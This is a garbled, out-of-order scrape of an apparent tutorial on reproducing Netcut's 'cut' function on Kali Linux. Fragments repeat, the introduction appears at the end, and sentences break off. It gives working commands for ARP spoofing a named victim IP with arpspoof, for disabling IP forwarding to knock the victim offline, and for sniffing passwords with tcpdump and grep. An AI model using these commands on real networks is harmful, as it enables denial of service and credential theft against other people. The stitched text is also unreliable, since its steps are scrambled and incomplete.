The victim sends all their internet traffic to your Kali machine. Because IP forwarding is off (0), your Kali machine drops those packets. The victim experiences a complete internet outage. This is identical to Netcut's "cut" function.
# Check current forwarding status cat /proc/sys/net/ipv4/ip_forward echo 0 > /proc/sys/net/ipv4/ip_forward
netsh interface ipv4 add neighbors "Ethernet" 192.168.1.1 aa-bb-cc-dd-ee-ff netcut kali linux
Or use driftnet to capture images the victim views:
# Enable IP forwarding to keep internet working echo 1 > /proc/sys/net/ipv4/ip_forward sudo arpspoof -i eth0 -t 192.168.1.12 192.168.1.1 In a second terminal, capture traffic (e.g., URLs and passwords) sudo tcpdump -i eth0 -A | grep -i "User-Agent|password" The victim sends all their internet traffic to
Tell the victim that your Kali machine is the router.
This article serves as a comprehensive guide. We will explore what Netcut is, why it isn't natively on Kali, how to achieve "Netcut-like" functionality using native Kali tools ( arpspoof , bettercap , Ettercap ), and finally, how to defend against such attacks on your own network. Before diving into Kali Linux, let's understand the original tool. This is identical to Netcut's "cut" function
